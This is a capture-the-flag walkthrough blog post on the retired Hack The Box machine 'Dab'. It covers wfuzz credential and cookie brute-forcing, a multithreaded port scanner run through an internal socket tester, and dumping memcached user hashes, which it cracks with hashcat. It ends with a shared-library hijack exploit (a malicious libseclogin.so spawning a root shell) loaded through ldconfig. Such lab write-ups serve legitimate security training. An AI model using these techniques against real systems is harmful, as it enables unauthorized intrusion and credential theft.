Those Are The Guys!

Two guys who do stuff on YouTube: [@thoseguys1938](https://www.youtube.com/@thoseguys1938)

View on GitHub
3 February 2019

Htb Dab

by Jake

This week we are taking a look at the retired Hack The Box machine Dab (Medium-Hard difficulty)

Start off with an nmap scan:

root@kali: nmap -sC -sV -oN nmap 10.10.10.86
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-29 11:44 AEDT
Nmap scan report for 10.10.10.86
Host is up (0.24s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
80/tcp   open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login
8080/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.37 seconds

First of all we look at the site on port 80:

224493589.png

Before we try anything with the login form, we look at the other open ports, on port 8080 we see another website that requires a password authentication cookie:

224395282.png

and over on ftp we see there is a single image that we can download. So we download that and see if it is trying to hide anything from us.

root@kali: ftp 10.10.10.86
Connected to 10.10.10.86.
220 (vsFTPd 3.0.3)
Name (10.10.10.86:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        120          4096 Mar 26  2018 .
drwxr-xr-x    2 0        120          4096 Mar 26  2018 ..
-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
226 Directory send OK.
ftp> get dab.jpg
local: dab.jpg remote: dab.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dab.jpg (8803 bytes).
226 Transfer complete.
8803 bytes received in 0.00 secs (186.5599 MB/s)
ftp> 

Running steghide on the image we can see there is a hidden file, so let’s see if we can extract it:

root@kali: steghide info dab.jpg      
"dab.jpg":
  format: jpeg
  capacity: 383.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "dab.txt":
    size: 8.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
root@kali: steghide extract -sf dab.jpg        
Enter passphrase: 
wrote extracted data to "dab.txt".
root@kali: cat dab.txt 
Nope...

First rabbit hole found.

Time to move back to the login form. Instead of using hydra, this time we are going to try something different and use wfuzz.

Using burp or the browser console we are able to easily find the post fields and values that we want to fuzz, and go ahead and fuzz it with a common password wordlist:

root@kali: wfuzz -w /usr/share/wordlists/wfuzz/others/common_pass.txt -d "username=FUZZ&password=FUZZ&submit=Login" http://10.10.10.86/login

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.86/login
Total requests: 52

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000001:  C=200     18 L	      36 W	    543 Ch	  ""
000002:  C=200     18 L	      36 W	    543 Ch	  "123456"
000003:  C=200     18 L	      36 W	    543 Ch	  "1234567"
000004:  C=200     18 L	      36 W	    543 Ch	  "12345678"
000005:  C=200     18 L	      36 W	    543 Ch	  "123asdf"
000007:  C=200     18 L	      36 W	    542 Ch	  "admin"
000006:  C=200     18 L	      36 W	    542 Ch	  "Admin"
000008:  C=200     18 L	      36 W	    543 Ch	  "administrator"
000009:  C=200     18 L	      36 W	    543 Ch	  "asdf123"
000010:  C=200     18 L	      36 W	    543 Ch	  "backup"
000011:  C=200     18 L	      36 W	    543 Ch	  "backupexec"
000013:  C=200     18 L	      36 W	    543 Ch	  "clustadm"
000012:  C=200     18 L	      36 W	    543 Ch	  "changeme"
000014:  C=200     18 L	      36 W	    543 Ch	  "cluster"
000015:  C=200     18 L	      36 W	    543 Ch	  "compaq"
000017:  C=200     18 L	      36 W	    543 Ch	  "dell"
000016:  C=302      3 L	      24 W	    209 Ch	  "default"
000018:  C=200     18 L	      36 W	    543 Ch	  "dmz"
000019:  C=200     18 L	      36 W	    543 Ch	  "domino"
000020:  C=200     18 L	      36 W	    543 Ch	  "exchadm"
000021:  C=200     18 L	      36 W	    543 Ch	  "exchange"
000023:  C=200     18 L	      36 W	    543 Ch	  "gateway"
000024:  C=200     18 L	      36 W	    543 Ch	  "guest"
000022:  C=200     18 L	      36 W	    543 Ch	  "ftp"
000025:  C=200     18 L	      36 W	    543 Ch	  "lotus"
000026:  C=200     18 L	      36 W	    543 Ch	  "money"
000027:  C=200     18 L	      36 W	    543 Ch	  "notes"
000028:  C=200     18 L	      36 W	    543 Ch	  "office"
000029:  C=200     18 L	      36 W	    543 Ch	  "oracle"
000030:  C=200     18 L	      36 W	    543 Ch	  "pass"
000031:  C=200     18 L	      36 W	    543 Ch	  "password"
000032:  C=200     18 L	      36 W	    543 Ch	  "password!"
000033:  C=200     18 L	      36 W	    543 Ch	  "password1"
000034:  C=200     18 L	      36 W	    543 Ch	  "print"
000035:  C=200     18 L	      36 W	    543 Ch	  "qwerty"
000036:  C=200     18 L	      36 W	    543 Ch	  "replicate"
000037:  C=200     18 L	      36 W	    543 Ch	  "seagate"
000038:  C=200     18 L	      36 W	    543 Ch	  "secret"
000039:  C=200     18 L	      36 W	    543 Ch	  "sql"
000040:  C=200     18 L	      36 W	    543 Ch	  "sqlexec"
000041:  C=200     18 L	      36 W	    543 Ch	  "temp"
000042:  C=200     18 L	      36 W	    543 Ch	  "temp!"
000043:  C=200     18 L	      36 W	    543 Ch	  "temp123"
000044:  C=200     18 L	      36 W	    543 Ch	  "test"
000045:  C=200     18 L	      36 W	    543 Ch	  "test!"
000047:  C=200     18 L	      36 W	    543 Ch	  "tivoli"
000046:  C=200     18 L	      36 W	    543 Ch	  "test123"
000049:  C=200     18 L	      36 W	    543 Ch	  "virus"
000048:  C=200     18 L	      36 W	    543 Ch	  "veritas"
000050:  C=200     18 L	      36 W	    543 Ch	  "web"
000052:  C=200     18 L	      36 W	    543 Ch	  "KKKKKKK"
000051:  C=200     18 L	      36 W	    543 Ch	  "www"

Total time: 1.696990
Processed Requests: 52
Filtered Requests: 0
Requests/sec.: 30.64248

The fuzzed value default returns a different value to all the rest, so we go over to the form and try it out as both the username and password. looks like default:default are one set of working credentials:

224428052.png

The 8080 page mentioned cookies. So lets see if we have anything interesting in ours.

session=eyJ1c2VybmFtZSI6ImRlZmF1bHQifQ.DwhgOg.pANflNXiv4UN963tKWDTBDX2dJs

From previous experience we believe that this is could likely a jot token. But using a JOT decoder returns some invalid results so this could be rabbit hole number 2.

Taking what the website is telling us literally, we try wfuzz again, this time against a simple password= cookie to see if we can get any interesting results. The common_pass.txt list worked for us last time, maybe it will work again this time:

root@kali: wfuzz -w /usr/share/wordlists/wfuzz/others/common_pass.txt -b password=FUZZ http://10.10.10.86:8080/

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************
 
Target: http://10.10.10.86:8080/
Total requests: 52
 
==================================================================
ID  Response   Lines      Word         Chars          Payload   
==================================================================
 
000001:  C=200     14 L       29 W      324 Ch    ""
000002:  C=200     14 L       29 W      324 Ch    "123456"
000003:  C=200     14 L       29 W      324 Ch    "1234567"
000004:  C=200     14 L       29 W      324 Ch    "12345678"
000005:  C=200     14 L       29 W      324 Ch    "123asdf"
000006:  C=200     14 L       29 W      324 Ch    "Admin"
000007:  C=200     14 L       29 W      324 Ch    "admin"
000008:  C=200     14 L       29 W      324 Ch    "administrator"
000009:  C=200     14 L       29 W      324 Ch    "asdf123"
000010:  C=200     14 L       29 W      324 Ch    "backup"
000011:  C=200     14 L       29 W      324 Ch    "backupexec"
000012:  C=200     14 L       29 W      324 Ch    "changeme"
000013:  C=200     14 L       29 W      324 Ch    "clustadm"
000014:  C=200     14 L       29 W      324 Ch    "cluster"
000015:  C=200     14 L       29 W      324 Ch    "compaq"
000016:  C=200     14 L       29 W      324 Ch    "default"
000017:  C=200     14 L       29 W      324 Ch    "dell"
000018:  C=200     14 L       29 W      324 Ch    "dmz"
000019:  C=200     14 L       29 W      324 Ch    "domino"
000020:  C=200     14 L       29 W      324 Ch    "exchadm"
000021:  C=200     14 L       29 W      324 Ch    "exchange"
000022:  C=200     14 L       29 W      324 Ch    "ftp"
000023:  C=200     14 L       29 W      324 Ch    "gateway"
000024:  C=200     14 L       29 W      324 Ch    "guest"
000025:  C=200     14 L       29 W      324 Ch    "lotus"
000026:  C=200     14 L       29 W      324 Ch    "money"
000027:  C=200     14 L       29 W      324 Ch    "notes"
000028:  C=200     14 L       29 W      324 Ch    "office"
000029:  C=200     14 L       29 W      324 Ch    "oracle"
000030:  C=200     14 L       29 W      324 Ch    "pass"
000031:  C=200     14 L       29 W      324 Ch    "password"
000032:  C=200     14 L       29 W      324 Ch    "password!"
000033:  C=200     14 L       29 W      324 Ch    "password1"
000034:  C=200     14 L       29 W      324 Ch    "print"
000035:  C=200     14 L       29 W      324 Ch    "qwerty"
000036:  C=200     14 L       29 W      324 Ch    "replicate"
000037:  C=200     14 L       29 W      324 Ch    "seagate"
000038:  C=200     21 L       48 W      540 Ch    "secret"
000039:  C=200     14 L       29 W      324 Ch    "sql"
000040:  C=200     14 L       29 W      324 Ch    "sqlexec"
000041:  C=200     14 L       29 W      324 Ch    "temp"
000042:  C=200     14 L       29 W      324 Ch    "temp!"
000043:  C=200     14 L       29 W      324 Ch    "temp123"
000044:  C=200     14 L       29 W      324 Ch    "test"
000045:  C=200     14 L       29 W      324 Ch    "test!"
000046:  C=200     14 L       29 W      324 Ch    "test123"
000047:  C=200     14 L       29 W      324 Ch    "tivoli"
000048:  C=200     14 L       29 W      324 Ch    "veritas"
000049:  C=200     14 L       29 W      324 Ch    "virus"
000050:  C=200     14 L       29 W      324 Ch    "web"
000051:  C=200     14 L       29 W      324 Ch    "www"
000052:  C=200     14 L       29 W      324 Ch    "KKKKKKK"
 
Total time: 1.674304
Processed Requests: 52
Filtered Requests: 0
Requests/sec.: 31.05768

Once again we get a hit! “secret” gives us a different result to all the other values. Back in our browser we use the extension Cookie Quick Manager (Or any cookie editing tool) to add the password=secret cookie to the Dab IP:

224231448.png

Browsing back to the site on port 8080, we can see that we are in and have some kind of TCP Socket testing application.

Testing a few common ports with random “Line to send” values we can see that it appears to be connecting to the port with telnet or netcat and then sending the value we have put into the “line to send”.

224264216.png

We could use our reliable friend wfuzz that has helped us so much so far, but we also wrote our own custom python script that uses some multi-threading magic to speed things up:

import requests
from multiprocessing import Pool as ThreadPool
# A dict that holds our special cookie value
 
cookies = {
        'password': 'secret'
        }
 
# For all ports, loop through them, submitting them to the server.
ports =  range(0, 65535)
     
def check(i):
    #print("checking port: "+str(i))
    params= {
            'port': i,
            'cmd': "test"
            }
 
     
    r = requests.get('http://10.10.10.86:8080/socket', cookies=cookies, params=params)
    if(r.status_code != 500):
         
        print("=============")
        print("Checking "+str(i))
        print("=============")
        print("Server Response: "+str(r.status_code))
        print("=============")
        print(r.text)
        print("##############")
 
pool = ThreadPool (50)
results = pool.map(check, ports)
 
pool.close()
pool.join()

For anyone looking at using tools built int to Kali, the wfuzz command that achieves the same result is below. This can also be extended with the -t argument to increase the threads and potentially make it faster. We hide any HTTP 500 Response codes, because we only want to know the ports that have successfully connected. The wordlist here is a file containing every number from 0 to 65535.

root@kali: wfuzz --hc=500 -w portlist -b password=secret http://10.10.10.86:8080/socket\?port\=FUZZ\&cmd\=test

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.86:8080/socket?port=FUZZ&cmd=test
Total requests: 65535

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000022:  C=200     28 L	      55 W	    629 Ch	  "22"
000021:  C=200     28 L	      61 W	    627 Ch	  "21"
000080:  C=200     40 L	      84 W	   1010 Ch	  "80"
008080:  C=200     40 L	      84 W	   1010 Ch	  "8080"
011211:  C=200     27 L	      52 W	    576 Ch	  "11211"
042998:  C=200     27 L	      52 W	    574 Ch	  "42998"
053776:  C=200     27 L	      52 W	    574 Ch	  "53776"

Total time: 863.5118
Processed Requests: 65535
Filtered Requests: 65528
Requests/sec.: 75.89357

There are a few extra ports listed here that were not picked up by our nmap scan. After doing some research we determine that the port 11211 is used by a service called memcached. The documentation gives us a guide on the commands we can use to communicate with memcache.

A typical request might look like (see cmd below in request)

GET /socket?port=11211&cmd=stats%20slabs HTTP/1.1
Host: 10.10.10.86:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.86:8080/socket?port=11211&cmd=GET
Connection: close
Cookie: session=eyJ1c2VybmFtZSI6ImRlZmF1bHQifQ.Dwhn5A.pBWBUGDT6_X_WtOHeo_5ZYXv7Nc; password=secret
Upgrade-Insecure-Requests: 1

and we get the response:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 29 Dec 2018 03:27:33 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 1376
 
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">
 
<p>Status of cache engine: Online</p>
<h4>TCP socket test</h4>
<form action="/socket">
<input type="text" name="port" placeholder="TCP port"></input>
<input type="text" name="cmd" placeholder="Line to send..."></input>
<input type="submit" value="Submit"</input>
</form>
 
<p>Output</p>
<pre>
STAT 16:chunk_size 2904
STAT 16:chunks_per_page 361
STAT 16:total_pages 1
STAT 16:total_chunks 361
STAT 16:used_chunks 1
STAT 16:free_chunks 360
STAT 16:free_chunks_end 0
STAT 16:mem_requested 2880
STAT 16:get_hits 0
STAT 16:cmd_set 4
STAT 16:delete_hits 0
STAT 16:incr_hits 0
STAT 16:decr_hits 0
STAT 16:cas_hits 0
STAT 16:cas_badval 0
STAT 16:touch_hits 0
STAT 26:chunk_size 27120
STAT 26:chunks_per_page 38
STAT 26:total_pages 1
STAT 26:total_chunks 38
STAT 26:used_chunks 1
STAT 26:free_chunks 37
STAT 26:free_chunks_end 0
STAT 26:mem_requested 24699
STAT 26:get_hits 15574
STAT 26:cmd_set 76
STAT 26:delete_hits 0
STAT 26:incr_hits 0
STAT 26:decr_hits 0
STAT 26:cas_hits 0
STAT 26:cas_badval 0
STAT 26:touch_hits 0
STAT active_slabs 2
STAT total_malloced 2078904
END
 
</pre>
</div>
</body>
</html>

See the STAT 16 and STAT 26? They’re our slabs, I’m guessing they’re some sort of partition ID in memcached.

After reading up on the memcache documentation we can run some simple tests with the stats command:

stats cachedump 26 0
ITEM users [24625 b; 1546048892 s]

stats cachedump 16 0
ITEM stock [2807 b; 1547613599 s]
END

Stock and Users seem like 2 things the web app on port 80 might be using (users for login and stock to build the “items in stock” listed on the page.

Okay, this bit took a little while to figure out. The cached keys clear really quick. The technique here is to force a cache update. Since we believe the app on port 80 pulls data from memcache, not a database directly, maybe we need to refresh or re-login to it if we stop getting results from our memcache commands.

We are not too interested in the stock list, but we are definitely interested to see what users are being loaded into memcache:

227016733.png

The following commands are entered into the “Line to send” field with the port 11211:

stats cachedump 26 0
ITEM users [24625 b; 1546048892 s]

get users
VALUE users 0 24625

{"quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", "isidro": "e4a4c90483d2ef61de42af1f044087f3", "roy": "afbde995441e19497fe0695e9c539266", "colleen": "d3792794c3143f7e04fd57dc8b085cd4", "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f", "asa.christiansen": "d7505316e9a10fc113126f808663b5a4", "jessie": "71f08b45555acc5259bcefa3af63f4e1", "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84", "demario_homenick": "2c22da161f085a9aba62b9bbedbd4ca7", "paris": "ef9b20082b7c234c91e165c947f10b71", "gardner_ward": "eb7ed0e8c112234ab1439726a4c50162", "daija.casper": "4d0ed472e5714e5cca8ea7272b15173a", "alanna.prohaska": "6980ba8ee392b3fa6a054226b7d8dd8f", "russell_borer": "cb10b94b5dbb5dfab049070a2abda16e", "domenica.kulas": 
... 
"01971ddb0d362010a8e484f0630de1e9", "devon": "953155467fab407a18cb7c8f576d1ef6", "kory": "c40c83a8bd2914202bd22770405b0b4c", "keely.reynolds": "8b0b59e115aad4d3deee62b591c80b28", "adrianna": "3ceb64d1364a8c92134484029e4f2770", "jaylin.langworth": "f3e06518bbfa9d108ad30cf5628e480a", "agustin.kreiger": "a434c202f65475988efa9622a77f9594", "shaylee_roob": "81dbedf631f0dd59d00403c661972c0a", "zelma": "55f0db8276de5dc76d9b858bd0de78a0"}

END

We get a large JSON string response with usernames and what look like password hashes. After cleaning it all up we are left with a decent sized list that we need to crack:

quinton_dach:17906b445a05dc42f78ae86a92a57bbd
jackie.abbott:c6ab361604c4691f78958d6289910d21
isidro:e4a4c90483d2ef61de42af1f044087f3
roy:afbde995441e19497fe0695e9c539266
colleen:d3792794c3143f7e04fd57dc8b085cd4
harrison.hessel:bc5f9b43a0336253ff947a4f8dbdb74f
asa.christiansen:d7505316e9a10fc113126f808663b5a4
jessie:71f08b45555acc5259bcefa3af63f4e1
milton_hintz:8f61be2ebfc66a5f2496bbf849c89b84
demario_homenick:2c22da161f085a9aba62b9bbedbd4ca7
paris:ef9b20082b7c234c91e165c947f10b71
gardner_ward:eb7ed0e8c112234ab1439726a4c50162
daija.casper:4d0ed472e5714e5cca8ea7272b15173a
alanna.prohaska:6980ba8ee392b3fa6a054226b7d8dd8f
russell_borer:cb10b94b5dbb5dfab049070a2abda16e
domenica.kulas:5cb322691472f05130416b05b22d4cdf
...
devon:953155467fab407a18cb7c8f576d1ef6
kory:c40c83a8bd2914202bd22770405b0b4c
keely.reynolds:8b0b59e115aad4d3deee62b591c80b28
adrianna:3ceb64d1364a8c92134484029e4f2770
jaylin.langworth:f3e06518bbfa9d108ad30cf5628e480a
agustin.kreiger:a434c202f65475988efa9622a77f9594
shaylee_roob:81dbedf631f0dd59d00403c661972c0a
zelma:55f0db8276de5dc76d9b858bd0de78a0

Hashid believes that they are MD5s so lets run hashcat: (we pulled the list out to a better spec’d windows box to speed up the cracking, but the command is the same in Kali)

C:\hashcat-5.1.0>hashcat64.exe -m 0 dab.md5 rockyou.txt

9731e89f01c1fb943cf0baa6772d2875 - abbigail:piggy
2ac9cb7dc02b3c0083eb70898e549b63 - admin:Password1
5177790ad6df0ea98db41b37b602367c - irma:strength
6f9ff93a26a118b460c878dc30e17130 - ona:monkeyman
0daa6275280be3cf03f9f9c62f9d26d1 - rick:lovesucks1
1e0ad2ec7e8c3cc595a9ec2e3762b117 - alec:blaster
fc7992e8952a8ff5000cb7856d8586d2 - genevieve:Princess1
eb95fc1ab8251cf1f8f870e7e4dae54d - wendell:megadeth
0ef9c986fad340989647f0001e3555d4 - aglae:misfits
c21f969b5f03d33d43e04f8f136e7682 - default:default
254e5f2c3beb1a3d03f17253c15c07f3 - d_murphy:hacktheplanet
fe01ce2a7fbac8fafaed7c982a04e229 - demo:demo

rockyou.txt is not able to crack them all, but its a good start. We thought about scripting the next steps, but with only 12 to test, it would have taken more time to write the script, than it would have to just manually test each credential against SSH. About half way through we get a hit with genevieve:Princess1 and are able to read the user.txt flag.

Now on to root.

Trying sudo -l we get a troll executable: (rabbit hole 3)

genevieve@dab:~$ sudo /usr/bin/try_harder
root@dab:~# cat root.txt
Segmentation fault
That would have been too easy! Try something else.

So we move on and look for any SUID binaries:

genevieve@dab:~$ find / -perm -4000 -type f 2>/dev/null
/bin/umount
/bin/ping
/bin/ping6
/bin/su
/bin/ntfs-3g
/bin/fusermount
/bin/mount
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/myexec
/usr/bin/pkexec
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/sbin/ldconfig
/sbin/ldconfig.real

Comparing this output with our local results we are able to see a couple of binaries that are non-standard. /usr/bin/myexec and /sbin/ldconfig.

myexec does not sound like a Linux tool we have ever heard of, so we copy the binary off to our local machine and do some analysis on it.

As we are connected through SSH, we can use SCP to copy the file off or for a laugh we tried the credentials against FTP and were also able to download the executable from there. The two methods are shown below:

root@kali: scp genevieve@10.10.10.86:/usr/bin/myexec myexec
genevieve@10.10.10.86's password: Princess1
myexec                                                                            100% 8864    37.1KB/s   00:00 
root@kali: ftp 10.10.10.86 
Connected to 10.10.10.86.
220 (vsFTPd 3.0.3)
Name (10.10.10.86:root): genevieve
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> binary
200 Switching to Binary mode.
ftp> cd /usr/bin
250 Directory successfully changed.
ftp> get myexec
local: myexec remote: myexec
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for myexec (8864 bytes).
226 Transfer complete.
8864 bytes received in 0.00 secs (5.5983 MB/s)
ftp> 

Now that we have the binary locally, running it throws an interesting error:

root@kali:./myexec                                           
./myexec: error while loading shared libraries: libseclogin.so: cannot open shared object file: No such file or directory

We find the libseclogin.so library on the dab machine under /usr/lib, and download that and place it in our local /usr/lib directory. (Remember to delete this file when you are done with the box)

This time when we run the executable we are asked for a password:

./myexec                                           
Enter password: test
Invalid password

In an attempt to find out what is going on in the background we start off with a simple tracing tool called ltrace:

root@kali: ltrace ./myexec                                                                             
__libc_start_main(0x400836, 1, 0x7ffe086b9d68, 0x4008f0 <unfinished ...>
printf("Enter password: ")                                            = 16
__isoc99_scanf(0x400985, 0x7ffe086b9c30, 0, 0Enter password: test
)                        = 1
strcmp("s3cur3l0g1n", "test")                                          = 17
puts("Invalid password\n"Invalid password
 
)                                            = 18
+++ exited (status 1) +++

We can see easily that it is performing a string compare with the string “s3cur3l0g1n”. So we try to use this password and see what output we get this time:

genevieve@dab:~$ /usr/bin/myexec
Enter password: s3cur3l0g1n
Password is correct
 
seclogin() called
TODO: Placeholder for now, function not implemented yet

A common linux privesc technique is to use shared object libraries and some misconfigurations to get the application to use a different shared library file. We know that myexec uses the libseclogin.so shared library, so that looks like a good target for us.

Linux will look for shared libraries in the following order: (taken from https://linux.die.net/man/1/ld)

  1. Any directories specified by rpath-link options (directories specified by rpath-link options are only effective at link time)
  2. Any directories specified by –rpath options (directories specified by rpath options are included in the executable and used at runtime)
  3. LD_RUN_PATH
  4. LD_LIBRARY_PATH
  5. Directories in the DT_RUNPATH or DT_RPATH. (DT_RPATH entries are ignored if DT_RUNPATH entries exist
  6. /lib and /usr/lib
  7. Directories within /etc/ld.so.conf

Based on this list our /usr/lib/linseclogin.so will be loaded at point 6, this potentially gives us 5 chances (or misconfigurations) to jump in before the application loads the real shared object library.

Options 1. and 2. might not work for us, as they need to be exploited at link and run time, but there is a chance we can set the LD_RUN_PATH or LD_LIBRARY_PATH environment variables.

First we need to do a little bit of prep work so that we can confirm our exploit and hijack of the library path has worked. We use the tool ldd against myexec to see where the current library is being loaded from as well as any current values for the environment variables, and if we are able to set the value to something custom, we also look at the existing ldd config to see if there are any other folders we can upload our exploit library to.

genevieve@dab:~$ ldd /usr/bin/myexec
	linux-vdso.so.1 =>  (0x00007fffb79f3000)
	libseclogin.so => /usr/lib/libseclogin.so (0x00007f46640c4000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4663cfa000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f46642c6000)

genevieve@dab:~$ echo $LD_RUN_PATH

genevieve@dab:~$ echo $LD_LIBRARY_PATH

genevieve@dab:~$ echo $DT_RUN_PATH

genevieve@dab:~$ export LD_LIBRARY_PATH=/those/guys
genevieve@dab:~$ echo $LD_LIBRARY_PATH
/those/guys
genevieve@dab:~$ export LD_LIBRARY_PATH=
genevieve@dab:~$ 
genevieve@dab:~$ ls /etc/ld.so.conf.d/
fakeroot-x86_64-linux-gnu.conf  test.conf                       
libc.conf                       x86_64-linux-gnu.conf           
genevieve@dab:~$ cat /etc/ld.so.conf.d/test.conf 
/tmp

We now know that (1) we can set the environment variable to anything we like, and (2) that there is a test.conf file pointing to /tmp in the ld.conf.d/ directory. With all this information we have enough to start building and deploying our malicious shared object library.

We start off with a simple SUID shell application we have used before:

root@kali: cat libseclogin.c
#include <stdio.h>
void seclogin(void){
 setuid(0);
 setgid(0);
 system("/bin/bash", NULL, NULL);
}

We changed the function name from main() to seclogin, because that is the function myexec told us it tried to run when we gave it the correct password. From there we compile it into a .so file with gcc, this can be done either on the target machine or on our local machine and copied over to the targets /tmp folder:

root@kali: gcc -shared -fPIC -o libseclogin.so libseclogin.c
root@kali: scp libseclogin.so genevieve@10.10.10.86:/tmp/libseclogin.so

Side note: Because we have full control of our local environment, and a copy of the executable and shared library, we can also test our compiled exploit locally first, to iron out any potential bugs before attempting it on the target.

Once it is on the target and in the right folder, we can cover all bases by:

  1. Give the shared object library execute permissions
  2. Manually link the individual library file with ldconfig
  3. Update the LD_LIBRARY_PATH environment variable
  4. Tell ldconfig to use the test.conf configuration file instead of /etc/ld.so.conf
  5. Retest ldd against myexec to ensure that it will now use our shared object library
  6. Run myexec and hope our session gets upgraded
genevieve@dab:/tmp$ chmod +x libseclogin.so
genevieve@dab:/tmp$ldconfig -l /tmp/libseclogin.so
genevieve@dab:/tmp$LD_LIBRARY_PATH=/tmp
genevieve@dab:/tmp$ldconfig -f /etc/ld.so.conf.d/test.conf
genevieve@dab:/tmp$ ldd /usr/bin/myexec
	linux-vdso.so.1 =>  (0x00007fff93ffe000)
	libseclogin.so => /tmp/libseclogin.so (0x00007f95282df000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9527cf6000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f95280c0000)

genevieve@dab:/tmp$ myexec
Enter password: s3cur3l0g1n
Password is correct

root@dab:/tmp# cat /root/root.txt
45cd5[REDACTED]6a98e

And our exploit worked and we have a root bash session and can read the root.txt.

tags: htb - walkthrough - dab